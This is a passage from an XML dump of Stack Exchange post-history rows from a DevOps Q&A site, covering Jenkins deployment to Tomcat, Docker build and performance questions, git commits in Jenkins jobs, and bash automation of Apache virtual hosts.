hudson.plugins.deploy.DeployPublisher.perform(DeployPublisher.java:64)&#xD;&#xA;    	at hudson.tasks.BuildStepMonitor$3.perform(BuildStepMonitor.java:45)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:744)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.performAllBuildSteps(AbstractBuild.java:690)&#xD;&#xA;    	at hudson.model.Build$BuildExecution.post2(Build.java:186)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.post(AbstractBuild.java:635)&#xD;&#xA;    	at hudson.model.Run.execute(Run.java:1844)&#xD;&#xA;    	at hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:43)&#xD;&#xA;    	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;    	at hudson.model.Executor.run(Executor.java:429)&#xD;&#xA;    Caused by: java.io.IOException: Server returned HTTP response code: 401 for URL: http://localhost:8090/manager/text/list&#xD;&#xA;    	at sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1894)&#xD;&#xA;    	at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1492)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.invoke(TomcatManager.java:571)&#xD;&#xA;    	... 20 more&#xD;&#xA;    Build step 'Deploy war/ear to a container' marked build as failure&#xD;&#xA;    Finished: FAILURE&#xD;&#xA;&#xD;&#xA;How can I fix this?&#xD;&#xA;&#xD;&#xA;My tomcat credentials, located in [tomcat directory]/conf/tomcat-users.xml, are as follows:&#xD;&#xA;&#xD;&#xA;      &lt;role rolename=&quot;manager-script&quot;/&gt;&#xD;&#xA;      &lt;role rolename=&quot;manager-gui&quot;/&gt;&#xD;&#xA;      &lt;role rolename=&quot;manager-jmx&quot;/&gt;&#xD;&#xA;      &lt;role rolename=&quot;manager-status&quot;/&gt;&#xD;&#xA;      &lt;role rolename=&quot;admin-gui&quot;/&gt;&#xD;&#xA;    &lt;user username=&quot;tomcat&quot; password=&quot;tomcat&quot; roles=&quot;manager-script,admin-gui,manager-gui,manager-jmx,manager-status&quot;/&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     &#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/34qkH.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/5cLJe.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/BA0Mh.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/yamqr.png&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17361" PostHistoryTypeId="1" PostId="5460" RevisionGUID="9d238668-84f7-49a9-a095-074fd670522a" CreationDate="2018-11-16T12:24:01.557" UserId="10890" Text="Deploy war/ear to a container' marked build as failure" ContentLicense="CC BY-SA 4.0" />
  <row Id="17362" PostHistoryTypeId="3" PostId="5460" RevisionGUID="9d238668-84f7-49a9-a095-074fd670522a" CreationDate="2018-11-16T12:24:01.557" UserId="10890" Text="&lt;jenkins&gt;&lt;maven&gt;&lt;java&gt;&lt;tomcat&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17363" PostHistoryTypeId="2" PostId="5461" RevisionGUID="24a76bb8-7a9a-41b2-8d98-035febcbced1" CreationDate="2018-11-16T12:27:04.910" UserId="10892" Text="I am dockerizing our applications to have the environments recreatable. As a process of dockerizing, we will be required to do the below steps,&#xD;&#xA;&#xD;&#xA; - Build the application.&#xD;&#xA; - Prepare the environment as the container.&#xD;&#xA; - Deploy the application to the container.&#xD;&#xA;&#xD;&#xA;Is it fine to have the application build, inside the docker, as part of docker building? In that way we need not install the build dependencies in local.&#xD;&#xA;&#xD;&#xA;But the trade-off is, we have to build the complete docker for the even a small code change that we build. I understand this can be optimized to a level with [multi-staged][1] build. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/develop/develop-images/multistage-build/#use-an-external-image-as-a-stage" ContentLicense="CC BY-SA 4.0" />
  <row Id="17364" PostHistoryTypeId="1" PostId="5461" RevisionGUID="24a76bb8-7a9a-41b2-8d98-035febcbced1" CreationDate="2018-11-16T12:27:04.910" UserId="10892" Text="Decision on app build on docorizing the app" ContentLicense="CC BY-SA 4.0" />
  <row Id="17365" PostHistoryTypeId="3" PostId="5461" RevisionGUID="24a76bb8-7a9a-41b2-8d98-035febcbced1" CreationDate="2018-11-16T12:27:04.910" UserId="10892" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17366" PostHistoryTypeId="2" PostId="5462" RevisionGUID="0b499ca7-4e52-4831-8e49-5424e53fe3ef" CreationDate="2018-11-16T13:34:12.550" UserId="10886" Text="The answer depends on your deployment. It sounds like you are wanting to create a generic &quot;environment image&quot; and then do something like mount whatever you want to run with a volume. In this case a multi stage build like doesn't much for you but it may still benefit you.&#xD;&#xA;&#xD;&#xA;If you are going to containerize each application then a multi staged build makes the most sense I think. It does keep your final images &quot;clean&quot; since the build was done in a separate container.&#xD;&#xA;&#xD;&#xA;The &quot;trade-off&quot; you mentioned should not be an issue. You should work to get your infrastructure to a point where deploying a new image isn't such a big deal therefore negating this problem." ContentLicense="CC BY-SA 4.0" />
  <row Id="17367" PostHistoryTypeId="2" PostId="5463" RevisionGUID="275fcc83-8e14-4b0b-b72f-8db750e5da25" CreationDate="2018-11-16T14:39:52.827" UserId="10868" Text="It's actually a bad idea to run Docker as root. What you should do instead add the Jenkins user to the Docker group. `sudo usermod -aG docker jenkins`. That will prevent you from opening needless security holes and allow Jenkins to do all that it needs to do with Docker, including running as root inside the containers. I do this regularly with my builds, using this as a sample:&#xD;&#xA;&#xD;&#xA;    stage ('Build Docker Image') {&#xD;&#xA;      steps {&#xD;&#xA;        script {&#xD;&#xA;          // Build the Docker image for compiling&#xD;&#xA;          dockerImage = docker.build(&quot;myapp:v1&quot;)&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    stage ('Run UnitTests') {&#xD;&#xA;      steps {&#xD;&#xA;        script {&#xD;&#xA;          dockerImage.inside(&quot;-itu root&quot;) {&#xD;&#xA;            sh(script: &quot;nosetests app-test.py --verbose&quot;)&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="17371" PostHistoryTypeId="2" PostId="5464" RevisionGUID="b3c159ce-e721-4667-b9e0-dbb6f0fdc1a1" CreationDate="2018-11-16T15:20:12.223" UserId="707" Text="The essential feature of JFrog Enterprise over JFrog Pro (X) is that it introduces high availability and site replication support.&#xD;&#xA;&#xD;&#xA;Obviously, operations in geographically distributed organizations with thousands developers and build processes require some planning also for this aspect.&#xD;&#xA;&#xD;&#xA;Nevertheless, is there any data/study to show order of magnitude of load where you would say okay this is where we need not just some vertical scaling but parallel?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17372" PostHistoryTypeId="1" PostId="5464" RevisionGUID="b3c159ce-e721-4667-b9e0-dbb6f0fdc1a1" CreationDate="2018-11-16T15:20:12.223" UserId="707" Text="What are vertical scalability limits of JFrog Artifactory Pro?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17373" PostHistoryTypeId="3" PostId="5464" RevisionGUID="b3c159ce-e721-4667-b9e0-dbb6f0fdc1a1" CreationDate="2018-11-16T15:20:12.223" UserId="707" Text="&lt;artifactory&gt;&lt;high-availability&gt;&lt;operations&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17374" PostHistoryTypeId="50" PostId="5184" RevisionGUID="f502f132-0082-41c4-9738-55534dc679fc" CreationDate="2018-11-16T16:01:25.760" UserId="-1" />
  <row Id="17375" PostHistoryTypeId="5" PostId="5443" RevisionGUID="92b0a5d7-6524-4e14-aa2c-1d59529d86a4" CreationDate="2018-11-16T16:03:13.923" UserId="739" Comment="copy editing" Text="In my automatic jenkins job, launched daily, if there are no changes the git commit command returns 1. That will mark the build as failed. To solve this problem I use these two commands in my shell build step: &#xD;&#xA;&#xD;&#xA;    git add -A&#xD;&#xA;    git diff-index --quiet HEAD || git commit -m &quot;Jenkins automatic update commit&quot;&#xD;&#xA;&#xD;&#xA;- the first will eventually add all unstaged files in the whole working tree (equivalent to `git add --all`);&#xD;&#xA;- the second will perform the commit if and only if there are differences against the HEAD version of the working directory. If the `git diff` command has exit code zero then the `git commit` command is executed.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17376" PostHistoryTypeId="24" PostId="5443" RevisionGUID="92b0a5d7-6524-4e14-aa2c-1d59529d86a4" CreationDate="2018-11-16T16:03:13.923" Comment="Proposed by 739 approved by 40, 10858 edit id of 855" ContentLicense="CC BY-SA 4.0" />
  <row Id="17386" PostHistoryTypeId="5" PostId="5411" RevisionGUID="1f69df1c-47f1-4eed-a37d-6631ba4ed1e9" CreationDate="2018-11-16T16:51:26.693" UserId="210" Comment="there should be one space after the #" Text="According to [the yamllint documentation](https://yamllint.readthedocs.io/en/stable/disable_with_comments.html#disabling-checks-for-a-specific-line) you need to add a special comment to the line -- `&lt;string-to-be-excluded&gt;  # yamllint disable-line rule:line-length`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    #defaults/main&#xD;&#xA;    firefox_checksum: sha512:49d776cfb5f42c6e5ea1a55a80d9f6bad223080b16baa0d39de63534c25e68340091b4e16be5355d565f81291cb94fb996f03ae7e3e4c7a28021b0a0929daf58 #yamllint disable-line rule:line-length" ContentLicense="CC BY-SA 4.0" />
  <row Id="17387" PostHistoryTypeId="2" PostId="5468" RevisionGUID="53c0b4dd-d3a0-4a91-83e1-4f5d6e52bd13" CreationDate="2018-11-16T17:17:58.387" UserId="10902" Text="Quickly going through this it looks like you have added wrong credentials to Jenkins. Can you please check the added credentials first. &#xD;&#xA;&#xD;&#xA;    aused by: org.codehaus.cargo.container.tomcat.internal.TomcatManagerException: The username and password you provided are not correct (error 401)" ContentLicense="CC BY-SA 4.0" />
  <row Id="17388" PostHistoryTypeId="2" PostId="5469" RevisionGUID="e59fe4a7-4e00-4f70-b160-62068492188c" CreationDate="2018-11-16T20:24:31.390" UserId="10905" Text="i am new to the ops side of devops and was hoping for some clarification. Specifically, if in a microservice based project you have multiple jars and each jar gets deployed in a VM on the same hardware, how are you not limiting throughput? if a server only has a fixed amount of processing power and multiple services are competing for those resources, it seems like you are loosing performance. can someone explain how this works?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17389" PostHistoryTypeId="1" PostId="5469" RevisionGUID="e59fe4a7-4e00-4f70-b160-62068492188c" CreationDate="2018-11-16T20:24:31.390" UserId="10905" Text="Docker Deployment strategy for microservices project" ContentLicense="CC BY-SA 4.0" />
  <row Id="17390" PostHistoryTypeId="3" PostId="5469" RevisionGUID="e59fe4a7-4e00-4f70-b160-62068492188c" CreationDate="2018-11-16T20:24:31.390" UserId="10905" Text="&lt;containers&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17391" PostHistoryTypeId="2" PostId="5470" RevisionGUID="e9edb385-094c-426c-a6c2-0543b4dcfe4d" CreationDate="2018-11-16T21:29:38.060" UserId="4175" Text="I'll ignore your usage of the word &quot;VM&quot; here, since you have &quot;Docker&quot; in the title and &quot;container&quot; in the tags.&#xD;&#xA;&#xD;&#xA;One would indeed not deploy each microservice in their own VM, which would be an incredible waste of resources.&#xD;&#xA;&#xD;&#xA;But Docker is different. It is no VM. There is no virtualization. There is no extra layer between the processes running inside the Docker container and the host kernel. There is no significant overhead in the form of RAM usage. It is more or less the same as just running the process without a container.&#xD;&#xA;&#xD;&#xA;Docker is based on the concept of namespaces. Modern Linux kernels have namespaces for all their internal data structures (from user IDs to network interfaces to process tables). All aspects regarding accessing kernel ressources/hardware/networking etc. are exactly the same, no matter whether a process runs inside a Docker container or on the host itself. That's the beauty of it, that's also why a docker container spins up very quickly with almost no overhead, and why the actual runtime also has no appreciable overhead.&#xD;&#xA;&#xD;&#xA;There is one single difference, which is the filesystem; and this is not due to virtualization of any kind, but due to the &quot;onion&quot; style of layering many filesystems on top of each other. There are options when building images to avoid this, i.e. pack many layers into one, which would alleviate such problems (and conversely, you can mount unionfs-style filesystems in pure Linux as well, and those will have exactly the same performance overhead). &#xD;&#xA;&#xD;&#xA;But incidentally his overhead is mostly negligible because something like your standard microservice will load once, and then just run. If you use storage in a container, you usually don't write it into the container itself (though you can), but in a separate volume mounted when spinning up the container; and *those* are like normal Linux mounts, i.e. they have no performance penalty.&#xD;&#xA;&#xD;&#xA;TL;DR: Docker has in the most cases [no relevant performance penalty][1] at all; namespacing instead of virtualization is the reason why.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://domino.research.ibm.com/library/cyberdig.nsf/papers/0929052195DD819C85257D2300681E7B/$File/rc25482.pdf" ContentLicense="CC BY-SA 4.0" />
  <row Id="17392" PostHistoryTypeId="50" PostId="4386" RevisionGUID="2166e2be-89e0-4345-bef6-77147393d6af" CreationDate="2018-11-16T22:00:55.143" UserId="-1" />
  <row Id="17393" PostHistoryTypeId="50" PostId="5197" RevisionGUID="e70f1c4f-9c48-4c60-b5fd-a3a286bd159b" CreationDate="2018-11-16T23:01:25.430" UserId="-1" />
  <row Id="17394" PostHistoryTypeId="2" PostId="5471" RevisionGUID="96cf07a7-030b-4036-aa56-2569979e4b44" CreationDate="2018-11-16T23:01:59.273" UserId="497" Text="If you don't care about web UI, you can distribute your powershell scripts as console tasks using [Sparrow](https://dev.to/melezhik/sparrow-as-a-reasonable-alternative-to-dotfiles-a1n), you basically just save your Powershell scripts as tasks to a git repository so that users can use it.&#xD;&#xA;&#xD;&#xA;Say, you have task, task2, task3 and so on Powershell scripts ( aka tasks ) scattered across different projects ( aka groups ):&#xD;&#xA;&#xD;&#xA;# on your machine&#xD;&#xA;&#xD;&#xA;    # save tasks to a git repository&#xD;&#xA;    sparrow task save /path/to/tasks/&#xD;&#xA;    cd  /path/to/tasks/ &amp;&amp; git commit -a -m &quot;my tasks&quot; &amp;&amp; git push&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# on target machine&#xD;&#xA;&#xD;&#xA;    # load tasks from a git repository&#xD;&#xA;    git clone $repo/powershell-tasks.git powershell-tasks&#xD;&#xA;&#xD;&#xA;    # install tasks into local system:&#xD;&#xA;&#xD;&#xA;    cd powershell-tasks&#xD;&#xA;    sparrow task restore $PWD&#xD;&#xA;&#xD;&#xA;    # setup and run tasks&#xD;&#xA;&#xD;&#xA;    sparrow task ini project1/task1 # override default settings&#xD;&#xA;    sparrow task run project1/task1 # run script as a task&#xD;&#xA;&#xD;&#xA;    sparrow task ini project2/task2 # override default settings&#xD;&#xA;    sparrow task run project2/task2 # run script as a task&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17395" PostHistoryTypeId="5" PostId="5471" RevisionGUID="f599859c-a98f-4447-93e3-70353295728c" CreationDate="2018-11-16T23:07:41.133" UserId="497" Comment="added 4 characters in body" Text="If you don't care about web UI, you can distribute your powershell scripts as console tasks using [Sparrow](https://dev.to/melezhik/sparrow-as-a-reasonable-alternative-to-dotfiles-a1n), you basically just save your Powershell scripts as tasks to a git repository so that users can use it.&#xD;&#xA;&#xD;&#xA;Say, you have task, task2, task3 and so on Powershell scripts ( aka tasks ) scattered across different projects ( aka groups ):&#xD;&#xA;&#xD;&#xA;# on your machine&#xD;&#xA;&#xD;&#xA;    # save tasks to a git repository&#xD;&#xA;&#xD;&#xA;    sparrow task save /path/to/tasks/&#xD;&#xA;    cd  /path/to/tasks/ &amp;&amp; git commit -a -m &quot;my tasks&quot; &amp;&amp; git push&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# on target machine&#xD;&#xA;&#xD;&#xA;    # load tasks from a git repository&#xD;&#xA;&#xD;&#xA;    git clone $repo/powershell-tasks.git powershell-tasks&#xD;&#xA;&#xD;&#xA;    # install tasks into local system:&#xD;&#xA;&#xD;&#xA;    cd powershell-tasks&#xD;&#xA;    sparrow task restore $PWD&#xD;&#xA;&#xD;&#xA;    # setup and run tasks&#xD;&#xA;&#xD;&#xA;    sparrow task ini project1/task1 # override default settings&#xD;&#xA;&#xD;&#xA;     foo: 1&#xD;&#xA;     bar: 2&#xD;&#xA;&#xD;&#xA;    sparrow task run project1/task1 # run script as a task&#xD;&#xA;&#xD;&#xA;    sparrow task ini project2/task2 # override default settings&#xD;&#xA;&#xD;&#xA;     foo: 11&#xD;&#xA;     bar: 22&#xD;&#xA;&#xD;&#xA;    sparrow task run project2/task2 # run script as a task&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17396" PostHistoryTypeId="50" PostId="4996" RevisionGUID="ba43a8fb-2657-45b9-9c52-0a68bdc3b8eb" CreationDate="2018-11-17T00:01:55.230" UserId="-1" />
  <row Id="17397" PostHistoryTypeId="2" PostId="5472" RevisionGUID="8b29d19e-bc82-47db-bd06-1e779dade415" CreationDate="2018-11-17T07:44:45.160" UserId="354" Text="Short answer: No.&#xD;&#xA;&#xD;&#xA;Long answer: Docker Hub will keep the **image**. Anything else associated with the image needs to be kept in the source repository linked to the image in the registry." ContentLicense="CC BY-SA 4.0" />
  <row Id="17398" PostHistoryTypeId="50" PostId="4332" RevisionGUID="9c5dbc43-50b9-4bee-8a82-ad5364afdc3a" CreationDate="2018-11-17T08:01:50.333" UserId="-1" />
  <row Id="17399" PostHistoryTypeId="50" PostId="4987" RevisionGUID="2f346670-7ce3-4992-ae17-49b2117b29ce" CreationDate="2018-11-17T10:01:20.227" UserId="-1" />
  <row Id="17400" PostHistoryTypeId="50" PostId="4056" RevisionGUID="1cbec2a6-d9ac-4e3b-9d92-eeea7ee1cf73" CreationDate="2018-11-17T12:03:00.633" UserId="-1" />
  <row Id="17401" PostHistoryTypeId="50" PostId="3081" RevisionGUID="8530b9d2-4854-45a1-a055-5db8327d8156" CreationDate="2018-11-17T20:00:55.143" UserId="-1" />
  <row Id="17402" PostHistoryTypeId="2" PostId="5473" RevisionGUID="65816b7c-035f-4d9b-95ea-7dd694a4030c" CreationDate="2018-11-17T21:31:56.310" UserDisplayName="user5176" Text="When I create new web applications on my up-2-date Ubuntu-LAMP with Apache 2.4.x, I create their virtual-host files this way:&#xD;&#xA;&#xD;&#xA;    s_a=&quot;/etc/apache2/sites-available/&quot;&#xD;&#xA;    s_e=&quot;/etc/apache2/sites-enabled/&quot;&#xD;&#xA;    &#xD;&#xA;    read -p &quot;Please enter the domain of your web application:&quot; domain_1 &amp;&amp; echo&#xD;&#xA;    read -p &quot;Please enter the domain of your web application again:&quot; domain_2 &amp;&amp; echo&#xD;&#xA;    if [ &quot;$domain_1&quot; != &quot;$domain_2&quot; ]; then echo &quot;Values unmatched. Please try again.&quot; &amp;&amp; exit 2; fi&#xD;&#xA;    &#xD;&#xA;    cat &lt;&lt;-EOF &gt; &quot;$s_a/$domain.conf&quot;&#xD;&#xA;    	&lt;VirtualHost *:80&gt;&#xD;&#xA;    		ServerAdmin admin@&quot;$domain&quot;&#xD;&#xA;    		ServerName ${domain}&#xD;&#xA;    		ServerAlias www.${domain}&#xD;&#xA;    		DocumentRoot /var/www/html/${domain}&#xD;&#xA;    		ErrorLog ${APACHE_LOG_DIR}/error.log&#xD;&#xA;    		CustomLog ${APACHE_LOG_DIR}/access.log combined&#xD;&#xA;    	&lt;/VirtualHost&gt;&#xD;&#xA;    EOF&#xD;&#xA;    &#xD;&#xA;    ln -sf &quot;$s_a&quot;/&quot;$domain&quot;.conf &quot;$s_e&quot;&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Is there a way to automate that / shorten the amount of lines code (the actual script-file is much bigger in principle), maybe even from some built-in behavior in Apache itself and without involving further software?&#xD;&#xA;&#xD;&#xA;If other software might be needed than from what I've read so far it should be Docker and I should look for an Apache-virtual host **docker command** that will be based on my variable declarations (in [dockerhub][1]), but maybe Apache itself will have automation functionality for this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17403" PostHistoryTypeId="1" PostId="5473" RevisionGUID="65816b7c-035f-4d9b-95ea-7dd694a4030c" CreationDate="2018-11-17T21:31:56.310" UserDisplayName="user5176" Text="Automating the creation of an Apache virtual-host file specifically" ContentLicense="CC BY-SA 4.0" />
  <row Id="17404" PostHistoryTypeId="3" PostId="5473" RevisionGUID="65816b7c-035f-4d9b-95ea-7dd694a4030c" CreationDate="2018-11-17T21:31:56.310" UserDisplayName="user5176" Text="&lt;docker&gt;&lt;bash&gt;&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17405" PostHistoryTypeId="5" PostId="5473" RevisionGUID="d329e074-359b-49ad-a21c-4bd904041bbe" CreationDate="2018-11-18T00:55:46.067" UserDisplayName="user5176" Comment="added 752 characters in body" Text="When I create new web applications on my up-2-date Ubuntu-LAMP with Apache 2.4.x, I create their virtual-host files this way:&#xD;&#xA;&#xD;&#xA;    s_a=&quot;/etc/apache2/sites-available/&quot;&#xD;&#xA;    s_e=&quot;/etc/apache2/sites-enabled/&quot;&#xD;&#xA;    &#xD;&#xA;    read -p &quot;Have you created db credentials via PHPMyAdmin already?&quot; yn&#xD;&#xA;    case $yn in&#xD;&#xA;    	[Yy]* ) break;;&#xD;&#xA;    	[Nn]* ) exit;;&#xD;&#xA;    	* ) echo &quot;Please create db credentials in then comeback;&quot;;;&#xD;&#xA;    esac&#xD;&#xA;    &#xD;&#xA;    read -p &quot;Please enter the domain of your web application:&quot; domain_1 &amp;&amp; echo&#xD;&#xA;    read -p &quot;Please enter the domain of your web application again:&quot; domain_2 &amp;&amp; echo&#xD;&#xA;    if [ &quot;$domain_1&quot; != &quot;$domain_2&quot; ]; then echo &quot;Values unmatched. Please try again.&quot; &amp;&amp; exit 2; fi&#xD;&#xA;    &#xD;&#xA;    read -sp &quot;Please enter the app DB root password:&quot; dbrootp_1 &amp;&amp; echo&#xD;&#xA;    read -sp &quot;Please enter the app DB root password again:&quot; dbrootp_2 &amp;&amp; echo&#xD;&#xA;    if [ &quot;$dbrootp_1&quot; != &quot;$dbrootp_2&quot; ]; then echo &quot;Values unmatched. Please try again.&quot; &amp;&amp; exit 2; fi&#xD;&#xA;    &#xD;&#xA;    read -sp &quot;Please enter the app DB user password:&quot; dbuserp_1 &amp;&amp; echo&#xD;&#xA;    read -sp &quot;Please enter the app DB user password again:&quot; dbuserp_2 &amp;&amp; echo&#xD;&#xA;    if [ &quot;$dbuserp_1&quot; != &quot;$dbuserp_2&quot; ]; then echo &quot;Values unmatched. Please try again.&quot; &amp;&amp; exit 2; fi&#xD;&#xA;    &#xD;&#xA;    cat &lt;&lt;-EOF &gt; &quot;$s_a/$domain_2.conf&quot;&#xD;&#xA;    	&lt;VirtualHost *:80&gt;&#xD;&#xA;    		ServerAdmin admin@&quot;$domain_2&quot;&#xD;&#xA;    		ServerName ${domain_2}&#xD;&#xA;    		ServerAlias www.${domain_2}&#xD;&#xA;    		DocumentRoot /var/www/html/${domain_2}&#xD;&#xA;    		ErrorLog ${APACHE_LOG_DIR}/error.log&#xD;&#xA;    		CustomLog ${APACHE_LOG_DIR}/access.log combined&#xD;&#xA;    	&lt;/VirtualHost&gt;&#xD;&#xA;    EOF&#xD;&#xA;    &#xD;&#xA;    ln -sf &quot;$s_a&quot;/&quot;$domain_2&quot;.conf &quot;$s_e&quot;&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Is there a way to automate that / shorten the amount of lines code (the actual script-file is much bigger in principle), maybe even from some built-in behavior in Apache itself and without involving further software?&#xD;&#xA;&#xD;&#xA;If other software might be needed than from what I've read so far it should be Docker and I should look for an Apache-virtual host **docker command** that will be based on my variable declarations (in [dockerhub][1]), but maybe Apache itself will have automation functionality for this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17406" PostHistoryTypeId="6" PostId="5473" RevisionGUID="baafc04d-73db-4687-8a17-27127c468745" CreationDate="2018-11-18T03:28:57.920" UserId="739" Comment="add PHP tag" Text="&lt;docker&gt;&lt;bash&gt;&lt;php&gt;&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17407" PostHistoryTypeId="24" PostId="5473" RevisionGUID="baafc04d-73db-4687-8a17-27127c468745" CreationDate="2018-11-18T03:28:57.920" Comment="Proposed by 739 approved by 5176 edit id of 856" ContentLicense="CC BY-SA 4.0" />
  <row Id="17408" PostHistoryTypeId="2" PostId="5474" RevisionGUID="84519074-0fe5-4337-82f8-c1cfb09e4338" CreationDate="2018-11-18T03:43:00.230" UserDisplayName="user5176" Text="I'm having trouble establishing a Ubuntu-LAMP environment with continuous integration - I feel lost from the different solutions out there and time and again I fear that my vanilla-Bash Ubuntu-LAMP establishment-program of four different scripts (aimed for maximally-self-managed hosting platforms like DigitalOcean or Linode) will quickly become outdated:&#xD;&#xA;&#xD;&#xA;Some or all of the entire system getting vulnerable/unsupported and then I'll have to create another environment with a newer operating system with newer server environment (web/email) and moving manually all web applications and their data to this new environment, which is hard and consuming when I work alone maintaining my own personal web applications.&#xD;&#xA;&#xD;&#xA;## VAD (Vagrant-Ansible-Docker)&#xD;&#xA;&#xD;&#xA;From all my reading so far I get the impression that a VAD stack (Vagrant-Ansible-Docker) is the only way for me to avoid the problematic state I described above (if I want a VPS environment and not just shared-server hosting platform):&#xD;&#xA;&#xD;&#xA;1. Release updates and upgrades for my OS (Ubuntu 16.04 to 18.04 to 20.04 - to whatever version; `ufw`, `unattended-upgrades`, `curl`, `wget`, `zip`, `unzip`).&#xD;&#xA;1. Updates and upgrades for all my packages (Apache 2.4-3.4 and so forth; `mysql php php-{cli,curl,mbstring,mcrypt,gd} python-certbot-apache ssmtp`, Composer).&#xD;&#xA;1. Docker images will help me automate creation of bare-metal web applications that I would then change credentially to create new web applications.&#xD;&#xA;&#xD;&#xA;This way, for example, Ubuntu will go from 16.04 to 18.04 directly and the Apache package will go from 2 to 3 and all my Apache virtual hosts for Apache 2.4 virtual-host files will automatically transduce into 3.x.x format.&#xD;&#xA;&#xD;&#xA;This sounds like a sweet dream with the only disadvantage of performance (I'm not sure a 5$ or even 20$ cloud-partition could handle such stack).&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Is my description accurate and if so - what is the common solution that combines these three that I should use (assuming there is some combo which is an industry-standard)?&#xD;&#xA;&#xD;&#xA;On the top of such VAD solution, I'll execute much less vanilla-Bash directives (about 25 lines instead 150-200 lines) which will be much easier for me to maintain myself, at least by means of package-management." ContentLicense="CC BY-SA 4.0" />
  <row Id="17409" PostHistoryTypeId="1" PostId="5474" RevisionGUID="84519074-0fe5-4337-82f8-c1cfb09e4338" CreationDate="2018-11-18T03:43:00.230" UserDisplayName="user5176" Text="VAD (Vagrant-Ansible-Docker) stack for Ubuntu and Apache" ContentLicense="CC BY-SA 4.0" />
  <row Id="17410" PostHistoryTypeId="3" PostId="5474" RevisionGUID="84519074-0fe5-4337-82f8-c1cfb09e4338" CreationDate="2018-11-18T03:43:00.230" UserDisplayName="user5176" Text="&lt;docker&gt;&lt;ansible&gt;&lt;continuous-integration&gt;&lt;vagrant&gt;&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17411" PostHistoryTypeId="2" PostId="5475" RevisionGUID="7df1bb0d-327c-4957-9e5f-c76efbeabfb4" CreationDate="2018-11-18T05:07:06.390" UserId="8251" Text="I think your research is leading you in the right direction, but I cannot see the value of Docker in here.&#xD;&#xA;&#xD;&#xA;I found managing LAMP environments with Ansible completely unproblematic and the scripts I have used for 16.04 only needed a single line changes for upgrade to 18.04. I have also used them on a local development environment and there is no need to have the additional layer and security can be established easily with standard Linux permissions.&#xD;&#xA;&#xD;&#xA;I can see the use of Docker, if you need to run the same vhost twice with different configurations on the same bare metal.&#xD;&#xA;&#xD;&#xA;With Vagrant, this is a good tool to manage a different technology stack on the same bare metal, for example upgrading to MySQL 8 when at the same time you need to have MySQL 5.7 running on your dev machine at all times for regressions. I have not had this need so far, but can imagine situations where it is useful." ContentLicense="CC BY-SA 4.0" />
  <row Id="17412" PostHistoryTypeId="5" PostId="5474" RevisionGUID="28090515-ce6a-4ae7-ae22-89fde0230f27" CreationDate="2018-11-18T05:16:23.680" UserDisplayName="user5176" Comment="added 5 characters in body" Text="I'm having trouble establishing a Ubuntu-LAMP environment with continuous integration - I feel lost from the different solutions out there and time and again I fear that my vanilla-Bash Ubuntu-LAMP establishment-program of four different scripts (aimed for maximally-self-managed hosting platforms like DigitalOcean or Linode) will quickly become outdated:&#xD;&#xA;&#xD;&#xA;That some or all of the entire system getting vulnerable/unsupported and then I'll have to create another environment with a newer operating system with newer server environment (web/email) and moving manually all web applications and their data to this new environment, which is hard and consuming when I work alone maintaining my own personal web applications.&#xD;&#xA;&#xD;&#xA;## VAD (Vagrant-Ansible-Docker)&#xD;&#xA;&#xD;&#xA;From all my reading so far I get the impression that a VAD stack (Vagrant-Ansible-Docker) is the only way for me to avoid the problematic state I described above (if I want a VPS environment and not just shared-server hosting platform):&#xD;&#xA;&#xD;&#xA;1. Release updates and upgrades for my OS (Ubuntu 16.04 to 18.04 to 20.04 - to whatever version; and `ufw` but without changing my `ufw` directives like `ufw --force enable &amp;&amp; ufw allow 22,25,80,443`).&#xD;&#xA;1. Updates and upgrades for all my packages (Apache 2.4-3.4 and so forth; `unattended-upgrades curl wget zip unzip mysql php php-{cli,curl,mbstring,mcrypt,gd} 